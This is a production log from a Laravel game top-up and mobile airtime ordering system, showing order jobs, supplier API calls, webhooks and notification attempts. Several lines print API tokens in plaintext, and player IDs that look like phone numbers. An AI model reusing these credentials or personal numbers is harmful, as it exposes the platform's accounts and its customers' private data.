[2026-03-24 19:17:34] production.INFO: SendAcceptReject: Notification queued {"user_id":57,"notification_type":"order_approved","reference_id":179200} 
[2026-03-24 19:17:34] production.INFO: Order updated successfully. Order ID: 179200, Status: completed  
[2026-03-24 19:17:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-oyfgV-1774369040","status":"completed","codes_count":0} 
[2026-03-24 19:17:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 57  
[2026-03-24 19:17:47] production.INFO: Constructing job for order: 179201  
[2026-03-24 19:17:50] production.INFO: Handling job for order: 179201  
[2026-03-24 19:17:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:17:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:17:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d695cfd8-214c-44c3-bdae-beab826410b4&Player_ID=52022695379  
[2026-03-24 19:17:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d695cfd8-214c-44c3-bdae-beab826410b4&Player_ID=52022695379","has_body":false} 
[2026-03-24 19:17:51] production.INFO: Operation sent successfully {"operation_id":164092,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7MkY-1774369071","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:17:51"}},"processed_data":{"order_number":"ORD-7MkY-1774369071","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03"} 
[2026-03-24 19:18:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03","total_operations":2,"sites_count":1} 
[2026-03-24 19:18:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-7MkY-1774369071"]} 
[2026-03-24 19:18:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:18:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 19:18:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7MkY-1774369071","operation_id":164092} 
[2026-03-24 19:18:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:18:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 19:18:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:18:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"fEf8ChFDZQEbsLgtU1q6bkgjdniuJIkp","execution_time":"2026-03-24 19:18:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:18:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7MkY-1774369071","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:18:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-7MkY-1774369071","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:18:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:18:07] production.INFO: SendAcceptReject: Notification queued {"user_id":57,"notification_type":"order_approved","reference_id":179201} 
[2026-03-24 19:18:07] production.INFO: Order updated successfully. Order ID: 179201, Status: completed  
[2026-03-24 19:18:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7MkY-1774369071","status":"completed","codes_count":0} 
[2026-03-24 19:18:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 57  
[2026-03-24 19:18:23] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"40.0","mainamount":"40","operation_number":"158619310","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpcen1nl2atao3dFjLtnA"}},"user_id":33} 
[2026-03-24 19:18:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:18:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:18:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:18:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:18:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:18:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:18:25] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:18:25] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:18:25] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18680,"user_id":33,"amount":40.0,"admins_notified":7} 
[2026-03-24 19:18:40] production.INFO: SendAcceptReject: Notification queued {"user_id":1133,"notification_type":"request_approved","reference_id":18678} 
[2026-03-24 19:18:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1133  
[2026-03-24 19:18:52] production.INFO: SendAcceptReject: Notification queued {"user_id":957,"notification_type":"request_approved","reference_id":18679} 
[2026-03-24 19:18:52] production.INFO: Constructing job for order: 179203  
[2026-03-24 19:18:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 957  
[2026-03-24 19:18:55] production.INFO: Handling job for order: 179203  
[2026-03-24 19:18:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:18:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:18:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=df63eb18-e0f0-43bd-8e04-3302d1f3ece0&Player_ID=52022695379  
[2026-03-24 19:18:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=df63eb18-e0f0-43bd-8e04-3302d1f3ece0&Player_ID=52022695379","has_body":false} 
[2026-03-24 19:18:56] production.INFO: Operation sent successfully {"operation_id":164093,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-t9c-1774369136","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:18:56"}},"processed_data":{"order_number":"ORD-t9c-1774369136","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:19:05] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"request_approved","reference_id":18680} 
[2026-03-24 19:19:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-t9c-1774369136","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:19:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-t9c-1774369136","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:19:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:19:07] production.INFO: SendAcceptReject: Notification queued {"user_id":57,"notification_type":"order_approved","reference_id":179203} 
[2026-03-24 19:19:07] production.INFO: Order updated successfully. Order ID: 179203, Status: completed  
[2026-03-24 19:19:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-t9c-1774369136","status":"completed","codes_count":0} 
[2026-03-24 19:19:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 19:19:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 57  
[2026-03-24 19:19:16] production.INFO: Constructing job for order: 179204  
[2026-03-24 19:19:17] production.INFO: Handling job for order: 179204  
[2026-03-24 19:19:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:19:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:19:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=60000&uuid=d231c120-a54a-43c5-8935-353875eb6cbe&Player_ID=8322286227  
[2026-03-24 19:19:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=60000&uuid=d231c120-a54a-43c5-8935-353875eb6cbe&Player_ID=8322286227","has_body":false} 
[2026-03-24 19:19:18] production.INFO: Operation sent successfully {"operation_id":164094,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UskT6ed-1774369157","amount":6.7536000000000004916955731459893286228179931640625,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 19:19:18"}},"processed_data":{"order_number":"ORD-UskT6ed-1774369157","amount":6.7536000000000004916955731459893286228179931640625,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 19:19:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-UskT6ed-1774369157","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:19:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-UskT6ed-1774369157","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:19:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:19:25] production.INFO: SendAcceptReject: Notification queued {"user_id":957,"notification_type":"order_approved","reference_id":179204} 
[2026-03-24 19:19:25] production.INFO: Order updated successfully. Order ID: 179204, Status: completed  
[2026-03-24 19:19:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-UskT6ed-1774369157","status":"completed","codes_count":0} 
[2026-03-24 19:19:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 957  
[2026-03-24 19:19:29] production.INFO: Constructing job for order: 179205  
[2026-03-24 19:19:30] production.INFO: Handling job for order: 179205  
[2026-03-24 19:19:30] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:19:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:19:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=b2d85368-097f-4da2-b3fc-43b85c2ee12c&Player_ID=0957535244  
[2026-03-24 19:19:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=b2d85368-097f-4da2-b3fc-43b85c2ee12c&Player_ID=0957535244","has_body":false} 
[2026-03-24 19:19:31] production.INFO: Operation sent successfully {"operation_id":164095,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mgDoWuNs-1774369170","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:19:31"}},"processed_data":{"order_number":"ORD-mgDoWuNs-1774369170","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:19:32] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179180} 
[2026-03-24 19:19:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:36] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179183} 
[2026-03-24 19:19:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:39] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179182} 
[2026-03-24 19:19:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:52] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179184} 
[2026-03-24 19:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:56] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179185} 
[2026-03-24 19:19:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:19:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:00] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179186} 
[2026-03-24 19:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179189} 
[2026-03-24 19:20:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04"} 
[2026-03-24 19:20:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","total_operations":2,"sites_count":2} 
[2026-03-24 19:20:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-tmRYG-1774365381"]} 
[2026-03-24 19:20:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:20:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:20:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:20:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:20:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:20:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1,"order_ids":["ORD-mgDoWuNs-1774369170"]} 
[2026-03-24 19:20:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:20:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1} 
[2026-03-24 19:20:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 19:20:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:20:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"count":1} 
[2026-03-24 19:20:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"count":1} 
[2026-03-24 19:20:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"user_id":315,"notification_type":"order_approved","reference_id":179205} 
[2026-03-24 19:20:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:20:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:20:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"processed":1,"errors":0} 
[2026-03-24 19:20:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095,"processed":1,"errors":0} 
[2026-03-24 19:20:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"HwmigTtDG2rdacN6FkmvhNHHT9hzqz9c","execution_time":"2026-03-24 19:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mgDoWuNs-1774369170","operation_id":164095} 
[2026-03-24 19:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 19:20:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 19:20:06] production.INFO: async() رجع: true  
[2026-03-24 19:20:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:20:06] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179192} 
[2026-03-24 19:20:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:20:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:20:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:20:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:20:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:20:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:20:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:20:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:20:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:20:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 19:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:11] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179194} 
[2026-03-24 19:20:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:14] production.INFO: SendAcceptReject: Notification queued {"user_id":1773,"notification_type":"order_rejected","reference_id":179195} 
[2026-03-24 19:20:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1773  
[2026-03-24 19:20:50] production.INFO: Constructing job for order: 179206  
[2026-03-24 19:20:53] production.INFO: Handling job for order: 179206  
[2026-03-24 19:20:53] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:20:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:20:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=c767cc33-0c2f-46bd-ae23-8d262544dfd2&Player_ID=0953804880  
[2026-03-24 19:20:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=c767cc33-0c2f-46bd-ae23-8d262544dfd2&Player_ID=0953804880","has_body":false} 
[2026-03-24 19:20:53] production.INFO: Operation sent successfully {"operation_id":164096,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ITULRV-1774369253","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:20:53"}},"processed_data":{"order_number":"ORD-ITULRV-1774369253","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:21:20] production.INFO: Constructing job for order: 179207  
[2026-03-24 19:21:21] production.INFO: Handling job for order: 179207  
[2026-03-24 19:21:21] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:21:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:21:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=e5d4d633-7fa3-4140-adbe-048e914fa71f&Player_ID=0937853156  
[2026-03-24 19:21:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=e5d4d633-7fa3-4140-adbe-048e914fa71f&Player_ID=0937853156","has_body":false} 
[2026-03-24 19:21:21] production.INFO: Operation sent successfully {"operation_id":164097,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5MXPMYR-1774369281","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:21:21"}},"processed_data":{"order_number":"ORD-5MXPMYR-1774369281","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:21:25] production.INFO: Constructing job for order: 179208  
[2026-03-24 19:21:27] production.INFO: Handling job for order: 179208  
[2026-03-24 19:21:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:21:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:21:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=d617b5f7-7bf0-498a-80b0-ea1184ff1ce3&Player_ID=9419382432  
[2026-03-24 19:21:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=d617b5f7-7bf0-498a-80b0-ea1184ff1ce3&Player_ID=9419382432","has_body":false} 
[2026-03-24 19:21:28] production.INFO: Operation sent successfully {"operation_id":164098,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vPRLpNXR-1774369288","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:21:28"}},"processed_data":{"order_number":"ORD-vPRLpNXR-1774369288","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:21:53] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 19:22:00] production.INFO: SendAcceptReject: Notification queued {"user_id":373,"notification_type":"order_approved","reference_id":179202} 
[2026-03-24 19:22:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 373  
[2026-03-24 19:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01"} 
[2026-03-24 19:22:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","total_operations":4,"sites_count":2} 
[2026-03-24 19:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-vPRLpNXR-1774369288"]} 
